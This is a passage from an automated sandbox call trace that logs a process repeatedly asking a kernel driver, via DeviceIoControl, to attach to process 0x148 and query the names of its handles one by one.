ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.068] ObReferenceObjectByHandle (in: Handle=0x49c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019cc320, HandleInformation=0x0) returned 0x0 [0068.068] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.068] PsReleaseProcessExitSynchronization () returned 0x2 [0068.068] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.068] ObQueryNameString (in: Object=0xfffff8a0019cc320, ObjectNameInfo=0xfffffa800396b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.069] ObfDereferenceObject (Object=0xfffff8a0019cc320) returned 0x1 [0068.069] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.069] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.069] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.069] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.069] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.069] PsAcquireProcessExitSynchronization () returned 0x0 [0068.069] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.069] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00196fcd0, HandleInformation=0x0) returned 0x0 [0068.069] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.069] PsReleaseProcessExitSynchronization () returned 0x2 [0068.069] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.069] ObQueryNameString (in: Object=0xfffff8a00196fcd0, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.069] ObfDereferenceObject (Object=0xfffff8a00196fcd0) returned 0x1 [0068.069] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.069] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.069] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.069] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.069] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.069] PsAcquireProcessExitSynchronization () returned 0x0 [0068.069] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.069] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001ab67f0, HandleInformation=0x0) returned 0x0 [0068.069] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.069] PsReleaseProcessExitSynchronization () returned 0x2 [0068.069] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.069] ObQueryNameString (in: Object=0xfffff8a001ab67f0, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.069] ObfDereferenceObject (Object=0xfffff8a001ab67f0) returned 0x1 [0068.069] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.069] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.069] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.069] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.070] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.070] PsAcquireProcessExitSynchronization () returned 0x0 [0068.070] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.070] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0010e4430, HandleInformation=0x0) returned 0x0 [0068.070] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.070] PsReleaseProcessExitSynchronization () returned 0x2 [0068.070] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.070] ObQueryNameString (in: Object=0xfffff8a0010e4430, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.070] ObfDereferenceObject (Object=0xfffff8a0010e4430) returned 0x1 [0068.070] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.070] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.070] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.070] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.070] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.070] PsAcquireProcessExitSynchronization () returned 0x0 [0068.070] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.070] ObReferenceObjectByHandle (in: Handle=0x4e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0018ae340, HandleInformation=0x0) returned 0x0 [0068.070] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.070] PsReleaseProcessExitSynchronization () returned 0x2 [0068.070] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.070] ObQueryNameString (in: Object=0xfffff8a0018ae340, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.070] ObfDereferenceObject (Object=0xfffff8a0018ae340) returned 0x1 [0068.070] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.070] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.070] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.070] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.070] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.070] PsAcquireProcessExitSynchronization () returned 0x0 [0068.070] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.070] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001c039b0, HandleInformation=0x0) returned 0x0 [0068.070] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.071] PsReleaseProcessExitSynchronization () returned 0x2 [0068.071] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.071] ObQueryNameString (in: Object=0xfffff8a001c039b0, ObjectNameInfo=0xfffffa8003970044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003970044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.071] ObfDereferenceObject (Object=0xfffff8a001c039b0) returned 0x1 [0068.071] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.071] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.071] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.071] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.071] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.071] PsAcquireProcessExitSynchronization () returned 0x0 [0068.071] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.071] ObReferenceObjectByHandle (in: Handle=0x52c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001a69640, HandleInformation=0x0) returned 0x0 [0068.071] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.071] PsReleaseProcessExitSynchronization () returned 0x2 [0068.071] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.071] ObQueryNameString (in: Object=0xfffff8a001a69640, ObjectNameInfo=0xfffffa8003971044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003971044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.071] ObfDereferenceObject (Object=0xfffff8a001a69640) returned 0x1 [0068.071] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.071] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.071] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.071] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.071] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.071] PsAcquireProcessExitSynchronization () returned 0x0 [0068.071] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.071] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001a21af0, HandleInformation=0x0) returned 0x0 [0068.071] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.071] PsReleaseProcessExitSynchronization () returned 0x2 [0068.071] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.071] ObQueryNameString (in: Object=0xfffff8a001a21af0, ObjectNameInfo=0xfffffa8003972044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003972044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.071] ObfDereferenceObject (Object=0xfffff8a001a21af0) returned 0x1 [0068.071] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.072] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.072] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.072] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.072] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.072] PsAcquireProcessExitSynchronization () returned 0x0 [0068.072] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.072] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001cb3830, HandleInformation=0x0) returned 0x0 [0068.072] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.072] PsReleaseProcessExitSynchronization () returned 0x2 [0068.072] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.072] ObQueryNameString (in: Object=0xfffff8a001cb3830, ObjectNameInfo=0xfffffa8003973044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003973044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.072] ObfDereferenceObject (Object=0xfffff8a001cb3830) returned 0x1 [0068.072] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.072] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.072] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.072] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.072] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.072] PsAcquireProcessExitSynchronization () returned 0x0 [0068.072] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.072] ObReferenceObjectByHandle (in: Handle=0x584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020aabb0, HandleInformation=0x0) returned 0x0 [0068.072] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.072] PsReleaseProcessExitSynchronization () returned 0x2 [0068.072] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.072] ObQueryNameString (in: Object=0xfffff8a0020aabb0, ObjectNameInfo=0xfffffa8003974044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003974044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.072] ObfDereferenceObject (Object=0xfffff8a0020aabb0) returned 0x1 [0068.072] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.072] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.072] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.072] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.072] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.073] PsAcquireProcessExitSynchronization () returned 0x0 [0068.073] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.073] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002386780, HandleInformation=0x0) returned 0x0 [0068.073] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.073] PsReleaseProcessExitSynchronization () returned 0x2 [0068.073] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.073] ObQueryNameString (in: Object=0xfffff8a002386780, ObjectNameInfo=0xfffffa8003976044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003976044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.073] ObfDereferenceObject (Object=0xfffff8a002386780) returned 0x1 [0068.073] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.073] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.073] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.073] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.073] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.073] PsAcquireProcessExitSynchronization () returned 0x0 [0068.073] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.073] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0017fa6b0, HandleInformation=0x0) returned 0x0 [0068.073] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.073] PsReleaseProcessExitSynchronization () returned 0x2 [0068.073] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.073] ObQueryNameString (in: Object=0xfffff8a0017fa6b0, ObjectNameInfo=0xfffffa800397d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.073] ObfDereferenceObject (Object=0xfffff8a0017fa6b0) returned 0x1 [0068.073] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.073] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.073] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.073] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.073] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.073] PsAcquireProcessExitSynchronization () returned 0x0 [0068.073] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.073] ObReferenceObjectByHandle (in: Handle=0x5f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001247ab0, HandleInformation=0x0) returned 0x0 [0068.073] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.073] PsReleaseProcessExitSynchronization () returned 0x2 [0068.073] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.074] ObQueryNameString (in: Object=0xfffff8a001247ab0, ObjectNameInfo=0xfffffa800397e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.074] ObfDereferenceObject (Object=0xfffff8a001247ab0) returned 0x1 [0068.074] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.074] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.074] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.074] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.074] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.074] PsAcquireProcessExitSynchronization () returned 0x0 [0068.074] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.074] ObReferenceObjectByHandle (in: Handle=0x5f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001bb0d70, HandleInformation=0x0) returned 0x0 [0068.074] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.074] PsReleaseProcessExitSynchronization () returned 0x2 [0068.074] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.074] ObQueryNameString (in: Object=0xfffff8a001bb0d70, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.074] ObfDereferenceObject (Object=0xfffff8a001bb0d70) returned 0x1 [0068.074] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.074] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.074] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.074] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.074] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.074] PsAcquireProcessExitSynchronization () returned 0x0 [0068.074] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.074] ObReferenceObjectByHandle (in: Handle=0x604, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00212faf0, HandleInformation=0x0) returned 0x0 [0068.074] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.074] PsReleaseProcessExitSynchronization () returned 0x2 [0068.074] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.074] ObQueryNameString (in: Object=0xfffff8a00212faf0, ObjectNameInfo=0xfffffa8003980044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003980044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.074] ObfDereferenceObject (Object=0xfffff8a00212faf0) returned 0x1 [0068.074] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.074] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.074] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.075] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.075] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.075] PsAcquireProcessExitSynchronization () returned 0x0 [0068.075] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.075] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002399cd0, HandleInformation=0x0) returned 0x0 [0068.075] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.075] 